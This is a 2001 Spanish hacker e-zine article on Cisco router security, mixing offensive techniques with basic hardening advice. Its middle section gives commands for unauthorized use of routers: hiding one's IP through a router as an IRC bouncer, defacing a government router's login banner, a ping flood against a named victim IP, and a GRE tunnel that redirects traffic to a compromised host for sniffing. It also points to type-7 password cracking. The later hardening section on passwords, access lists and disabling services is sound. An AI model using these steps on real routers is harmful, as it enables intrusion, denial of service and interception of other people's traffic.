eko2:(eko02-11.txt):13/05/2001 << Back To eko2


< ---------------------------- [ EKO Magazine ] ---------------------------- > < - [ Peque~o CISCO Ilustrado ] -------------------------------------------- > < - [ por ca0s ] ------------------------------------------------ (EKO 02) - > --------------------------------------------- Peque~o CISCO Ilustrado. --------------------------------------------- by ca0s caos@ezkracho.com.ar 1. Introduccion. Decici escribir este texto porque cuando empeze a investigar sobre este tema, no encontre ninguna guia que pudiera decir que realmente me sirvio. Todo lo que leia era mucha teoria y cosas sacadas de manuales que no eran muy utiles. Este texto tiene como objetivo ser una referencia basica de la seguridad en routers CISCO sobre redes IP. Con esto quiero decir que no habra mucha teoria sobre lo que es un router, para que sirve, etc. y tratare de concentrarme mas que nada en ejemplos de cosas que realmente se nos puedan presentar. Quiero aclarar que no pretendo abarcar todo lo relacionado a la seguridad de los routers CISCO porque seria algo tonto e imposible, como lo dije antes esto es una "referencia basica" como para comenzar a adentrarse en el tema. Como todo lo relacionado a la seguridad, para poder hacer a un sistema seguro tambien es necesario saber como romper esa seguridad, por lo cual en algunos casos nos pondremos en ambos puntos de vista. Bueno, espero que esto les sea util y ante cualquier duda, comentario o critica no duden en escribirme. 2. Sacando informacion. Vamos a usar los comandos "show" para ver la informacion mas util que podemos sacar del router. Dependiendo del nivel de acceso que tengamos, la version del IOS y el modelo del router algunos comandos estaran disponibles o no: router>show version Informacion general del router, principalmente sabremos la serie del router, que version del IOS tiene y hace cuanto tiempo que se encuentra activo. router>show interfaces Nos muestra las interfaces del router y como estan configuradas, en redes IP tendremos acceso a cada segmento de la red a la cual alguna interfaz apunte. router>show users Podemos ver los usuarios que se encuentran online, pudiendo rescatar nombres de usuarios, direcciones de hosts, modems activos, etc. router>show privilege Nos muestra los privilegios del usuario con el cual estamos conectados, los privilegios son un valor numerico que va desde 0 a 15, donde 15 es como ser root en un Unix. router>show arp Muestra las direcciones IP y las MAC Address de los hosts que se encuentran en la misma subred que alguna interfaz del router. router>show hosts Podemos ver los DNS que utiliza el router, los hosts y las direcciones IP a los que el router esta haciendo conexiones. router>show terminal Vemos la configuracion de la terminal que estamos usando, si el history esta activo y los transportes para conexion soportados. router>show history Crea un log de todos los comandos que utilizamos. Lo podemos desactivar de esta forma: router>terminal history size 0 router>show access-lists Aqui tenemos todas las listas de acceso que tiene el router, esto es util para tener una idea de como esta armada la red en razon de confianza y puntos mas importantes. router>show ip alias Si el router esta en una red IP podremos ver por ejemplo las distintas direcciones IP que tienen las interfaces de ese mismo router. router>show ip route Nos muestra la tabla de ruteo. Sirve para darse una buena idea de la estructura de la red, a que segmentos de red esta conectado, etc. router>show logging Muestra los parametros del logueo que tiene, en algunos casos los logs son enviados a algun Unix que actua como servidor syslog. router#show configuration (necesita enable) Muestra la configuracion de todo el sistema, incluyendo los passwords encriptados y sin encriptar. Esto seria lo mismo que hacer: router#show running-config Habran notado que teniendo privilegios minimos pudimos acceder a valiosa informacion, esto es algo que se le critica a CISCO, su comando show(mostrar) muestra demasiado. 3. Un poco de diversion. Ahora veremos como acceder al IRC usando un router como bouncer para esconder nuestra IP. Primero abrimos nuestro cliente de IRC preferido, y luego en la linea de comandos tipeamos lo siguiente: /server router_IP 23 /quote router_password /quote irc.ciudad.com.ar 6667 /quote user ca0s /quote nick ca0s Lo que hacemos es conectarnos al router desde nuestro cliente de chat y desde ahi al servidor de IRC. Seria lo mismo que telnetear desde el router al IRC pero sin necesidad de tener el RFC a mano. Siguiendo con la boludes, vamos a hacer lo que seria un "defacement" pero aplicado a los routers CISCO. Osea, vamos a cambiarle el banner de entrada al router: router#configure terminal router(config)#banner login x Owned by Ezkracho Team ***AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO*** Usted ha accedido a una computadora del gobierno de la Republica Argentina. El uso de esta computadora sin autorizacion o para propositos para los cuales ninguna autorizacion ha sido otorgada constituye una violacion de las leyes federales y sera punible con multas o prision. ***AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO*** x router(config)#exit La letra "x" es la que en este ejemplo marca el final de texto, asi que tengan en cuenta no escribir ninguna palabra con la letra que elijan. Si son muy pijas y con esto no les alcanza, tambien pueden cambiar el prompt del router de esta forma: router#configure terminal router(config)#prompt HiAdmin%p router(config)#exit HiAdmin# Al ponerle el "%p" al final le indicamos que mantenga la ">" y el "#" para indicarnos los distintos niveles de acceso, de lo contrario solo nos aparece la palabra que elejimos y se hace medio confuso. Si quieren dejar el prompt como viene por default hacen "no prompt PALABRA". Algo por demas util para esos molestos del IRC es usar el router para realizar un PING flood, imaginense que estos aparatos manejan un buen ancho de banda, por lo que este tipo de DoS puede volverse muy efectivo: routers#ping Protocol[IP]: (ENTER) Target IP address: 24.232.105.113 Repeat count [5]: 500000 Datagram size [100]: 20000 Time out in seconds [2]: 0 Extended commands [n]: (ENTER) Sweep range of sizes [n]: (ENTER) Despues de poner "ping", en la primera linea presionamos ENTER, en la segunda linea ponemos la direccion IP de la victima, en la tercera linea la cantidad de veces que queremos que se envie el paquete, en la cuarta linea el tama~o del paquete, en la quinta linea los segundos que debe esperar y en las siguientes dos lineas presionamos ENTER. Para finalizar esta seccion me gustaria explicar brevemente algo muy util como lo es sniffear un router. La teoria es mas que simple, lo que hariamos seria re-rutear el trafico del router enviandolo a nuestro box, sniffear los paquetes que llegan y volver a enviar ese trafico desde nuestro box al router para que este los diriga a su destino real. Esta tecnica fue originalmente descripta por gaius del HERT en la Phrack 56; junto con su excelente articulo venia el tunnelx.c que es el soft que nos permitira redireccionar el trafico del tunel a una interfaz existente, pero nosotros vamos a utilizar el funnel.c hecho por jimjones de [lowlevel] ya que fue con el cual personalmente tuve mejores resultados. Como dije al principio la teoria es mas que simple, y el llevarlo a la practica tambien lo es, asi que sigamos este caso hipotetico: root@foo#telnet 192.168.1.200 (IP del router) router>enable router#configure terminal router(config)#int tunnel0 router(config-if)#ip address 192.168.0.1 255.255.255.0 router(config-if)#tunnel mode gre ip router(config-if)#tunnel source Ethernet0/0/0 router(config-if)#tunnel destination 192.168.1.1 router(config-if)#exit router(config)#exit router#disable router> Con esto ya reruteamos todo el trafico a nuestro box en la IP 192.168.1.1. Cuando digo "nuestro" box, no me refiero a "nuestro" box, sino a algun box owneado que tengamos por alli. A partir de aqui compilamos y corremos el funnel, y con cualquier sniffer como el dsniff capturamos los paquetes que nos llegan. Luego simplemente levantamos un tunel hacia el router desde nuestro box y le redireccionamos los paquetes. Si tienen problemas para compilar el funnel.c lo mas probable es que les falte alguna libreria. El funnel.c se lo pueden bajar de www.low-level.net. 4. Defendiendo nuestro CISCO. Los siguientes son los coneceptos basicos que deberemos tener en cuenta si vamos a administrar la seguridad de un router CISCO. Tengan en cuenta que esto solo es "lo basico", y en la mayoria de los casos todo dependera del router que esten usando y de las necesidades de la red. A. Usuarios y privilegios. Los privilegios de acceso van desde 0 hasta 15, siendo 1 lo usual para un usuario normal(cuando nos logueamos al router) y 15 el default para el usuario privilegiado. router>show privilege Current privilege level is 1 router>enable Password: router#show privilege Current privilege level is 15 router#disable router>show privilege Current privilege level is 1 Podemos proteger la contrase~a del usuario privilegiado(llamemoslo enable) mediante dos tipos de encriptacion, una con un algoritmo de encriptacion trivial de CISCO conocido como de tipo 7, y otra con MD5 que es un algoritmo muy fuerte conocido como de tipo 5. Para encriptar el password de enable con el algoritomo trivial de CISCO simplemente hacemos un "enable password", y a continuacion bajamos el ciscocrack.c de PacketStorm para crackearlo, ahora si deseamos utilizar un algoritmo de encriptacion en serio hacemos lo siguiente: router#configure terminal router(config)#enable secret NEWPASS router#exit router#copy running-config startup-config Vemos que entramos en modo de configuracion, cambiamos el password, salimos del modo de configuracion y guardamos los cambios copiando la configuracion al startup. Ahora vamos a cambiar la contrase~a para todos aquellos que ingresen mediante telnet con privilegio de ejecucion normal. Como vemos lo estamos haciendo para las terminales virtuales desde la 0 hasta la 5: router#configure terminal router(config)#no enable secret router(config)#line vty 0 4 router(config)#password NEWPASS router(config)#exit Si somos muy paranoicos directamente podemos desactivar el acceso al router mediante telnet de esta forma: router#configure terminal router(config)#no enable secret router(config)#line vty 0 4 router(config)#transport input none router(config)#exit router# Por default cuando nos conectamos a la consola o al puerto auxiliar tenemos privilegios de ejecucion de usuario(nivel 1 por default) sin password. De la siguiente forma lo configuramos para que nos pida password: router#configure terminal router(config)#line console 0 router(config)#login router(config)#password PASS router(config)#exec-timeout 1 30 router(config)#line aux 0 router(config)#login router(config)#password PASS router(config)#exit router# Como habiamos visto al principio con los comandos "show", el IOS permite el uso de ciertos comandos con privilegios minimos que no deberia permitir; es mas, al listar los comandos disponibles con "comando ?" solo aparecen algunos, pero si ejecutamos otros que sabemos que se encuentran estando en modo enable los podremos utilizar sin ninguna restriccion. Una solucion para pevenir que personas sin los suficientes privilegios puedan tocar o mirar cosas que no deben en nuestro router, es asignarle al usuario normal privilegios de 0 en vez de 1. Al hacer esto le estamos restringiendo el uso de todos los comandos y manualmente debemos especificar que comandos puede utilizar. Tambien es valido el proceso contrario, directamente especificamos que solo podran ejecutar ciertos comandos los que tengan un determinado nivel de privilegios. router#privilege exec level 7 show router#enable password level 7 PASS En este ejemplo lo que decimos es que para poder utilizar el comando show debemos poseer un nivel de privilegio 7, y luego seteamos un password para ese nivel. B. Listas de acceso. Tenemos dos tipos de listas de acceso, las estandares y las extendidas. Las estandares tienen una sola direccion de correspondencia, mientras que las extendidas tienen dos direcciones con informacion opcional del tipo de protocolo. - Listas de acceso estandares: access-list lista [permit|deny] IP mascara "lista" es un valor numerico que va desde 1 hasta 99. "permit" y "deny" corresponden a permitr y denegar en las reglas. Los valores de "IP" y "mascara" son de 32 bits y se escriben en notacion decimal punteada, pero no debe confundirse esta "mascara" con la mascara de subred que subdivide un numero de asignacion de red IP. Veamos estos ejemplos: access-list 1 permit 200.51.210.0 0.0.0.255 access-list 1 permit 200.45.0.0 0.0.255.255 Aqui especificamos dos valores de IP y mascara, ambos se aplican al numero 1 de la lista de acceso. El primer comando de la lista permite el acceso a toda la clase C de 200.51.210.0 y el segundo permite acceso a toda la clase B de 200.45.0.0. Si no se especifica valor de mascara se entendera que es todo 0.0.0.0; por lo que lo siguiente tendria el mismo efecto: access-list 2 permit 200.45.184.3 0.0.0.0 access-list 2 permit 200.45.184.3 en este caso solo se permite el trafico de la IP 200.45.184.3. Ahora, para terminar de redondear el tema sobre este tipo de listas, veamos el siguiente ejemplo: access-list 3 permit 24.232.144.11 0.0.0.0 access-list 3 deny 24.232.0.0 0.0.255.255 access-list 3 permit 24.0.0.0 0.255.255.255 Lo que decimos aqui es que se permita el trafico a toda la clase A 24.0.0.0, pero dentro de esta red se le deniegue a la clase B 24.232.0.0, exceptuando a la IP 24.232.144.11 que si tiene permitido el trafico. - Listas de acceso extendidas: Las listas de acceso extendidas nos permiten filtrar el trafico de una interfaz en base a direcciones IP fuente y destino, ademas de la informacion del protocolo. access-list lista [permit|deny] prot IP_in masc_in IP_out masc_out oper "lista" es un valor numerico que ira desde de 100 hasta 199, y sirve para identificar a las distintas reglas. "permit" y "deny" corresponden a permitr y denegar en las reglas. "prot" es el protocolo que usaremos, que puede ser IP, TCP, UDP e ICMP, pero como el IP encapsula los paquetes TCP, UDP e ICMP puede utilizarse para igualar a cualquiera de ellos. "IP_in" y "masc_in" nos indicaran la IP origen. "IP_out" y "masc_out" nos indicaran la IP destino; recuerden que aqui la mascara no tiene nada que ver con la mascara de subred en redes IP. Con "oper"(operador y operando) se puede comparar los numeros de puerto, puntos de acceso o nombres de contacto; estos valores son validos para TCP y UDP, siendo los operadores posibles it(menor que), eq(igual que), gt(mayor que) y neq(diferente que). A los ejemplos: access-list 101 deny tcp 24.232.1.1 0.0.0.0 200.47.180.0 0.0.0.255 eq 23 Aqui simplemente estamos diciendo que la IP 24.232.1.1, no puede hacer ninguna conexion TCP al puerto 23 de la red clase C 200.47.180.0. Veamos otro: access-list 101 permit tcp 0.0.0.0 255.255.255.255 200.30.0.0 0.0.255.255 gt 1023 access-list 101 permit tcp 0.0.0.0 255.255.255.255 200.30.10.1 0.0.0.0 eq 25 access-list 101 permit icmp 0.0.0.0 255.255.255.255 200.30.0.0 255.255.255.255 interface ethernet 0 ip access-group 101 El primer comando de la lista, permite cualquier conexion TCP entrante con puertos destinatarios mayores a 1023. El segundo comando de la lista admite conexiones de cualquier lugar al puerto 25 de la IP 200.30.10.1. El ultimo comando permite los mensajes ICMP entrantes para la retroalimentacion de error. Hay que tener en cuenta que en las listas de acceso extendidas, una vez que terminamos de definirlas se las tenemos que aplicar a una interfaz en concreto, por supuesto aplicandole un numero de lista como en las dos ultimas lineas del ejemplo anterior: interface ethernet 0 ip access-group 101 Veamos un ultimo ejemplo esperando que mi cabeza pueda seguir un poco mas. Supongamos lo siguiente, somos los administradores de la red 200.47.0.0 que se encuentra conectada a Internet. Y queremos que desde esta red hacia Internet se pueda establecer cualquier conexion TCP, pero no queremos lo contrario, salvo por la maquina 200.47.10.8 en la que tenemos un webserver y en este caso si permitiremos conexiones desde Internet a esa IP pero solo en el puerto 80. access-lists 102 permit tcp 0.0.0.0 255.255.255.255 200.47.0.0 0.0.255.255 established access-lists 102 permit tcp 0.0.0.0 255.255.255.255 200.47.10.8 0.0.0.0 eq 80 interface ethernet 0 ip access-group 102 Como vemos la palabra "established" es la clave aqui, puesto que puede indicar una conexion establecida en el protocolo TCP. Por ultimo, cualquier error que hayamos cometido al hacer las listas de acceso tanto estandares como extendidas, lo podemos subsanar elimininando la lista de esta forma: no access-list lista donde "lista" es el numero que le pusimos a la regla. C. Deshabilitando servicios. Generalmente la mayoria de los routers CISCO vienen corriendo con muchos servicios por default que jamas vamos a utilizar. Los siguientes son algunos servicios que deberiamos considerar desactivar: no service udp-small-servers no service tcp-small-servers no service finger no ip bootp server no ip http server no service pad no ntp enable Algunos de los siguientes servicios deberemos indicarle la interfaz donde vamos a desactivar el servicio, tengan en cuenta de hacerlo en todas si es necesario: interface Ethernet0 no cdp enable !para desactivar el protocolo CDP no cdp run !lo mismo que lo anterior pero de manera global no ip unreachables !para evitar que sepan que usamos listas de acceso interface Ethernet1 no ip proxy-arp !si no necesitamos el servicio de proxy ARP interface Ethernet1 no ip redirects !si no necesitamos enviar redireccionamientos interface Ethernet0 no ip directed-broadcast !para evitar ataques del tipo smurf 5. Despedida. Como vimos los routers CISCO son como cualquier otro sistema que conocemos, no podemos dejarlo funcionando con una "instalacion por default", y gracias a la inoperancia de CISCO en algunos aspectos esto se complica mucho mas. Bueno, espero que esta mini-guia con los conceptos basicos de la seguridad en estos routers les haya sido util. Si son administradores espero que puedan dormir con una falsa sensacion de seguridad y si no lo son estoy seguro que se van a divertir mucho. Disculpen cualquier gran error que haya cometido, y cualquier comentario o critica sera bien recibida. Si me llega algun feedback de quienes les haya servido esto posiblemente lo vuelva a editar con mas cosas. Saludos para toda la Ezkracho ppl, Raza Mexicana, SET, 0wn3d, NetSearch, 0ri0n, Control Total, dr_fdisk^, Dr|3xe, Kl0nk Manson, RaiSe, Tahum, krip7ik, Cinic, Van Hackez, los amigos de #linux, #mardel y toda la gente de la que seguramente me estoy olvidando. Hasta la proxima!, ca0s. *EOF*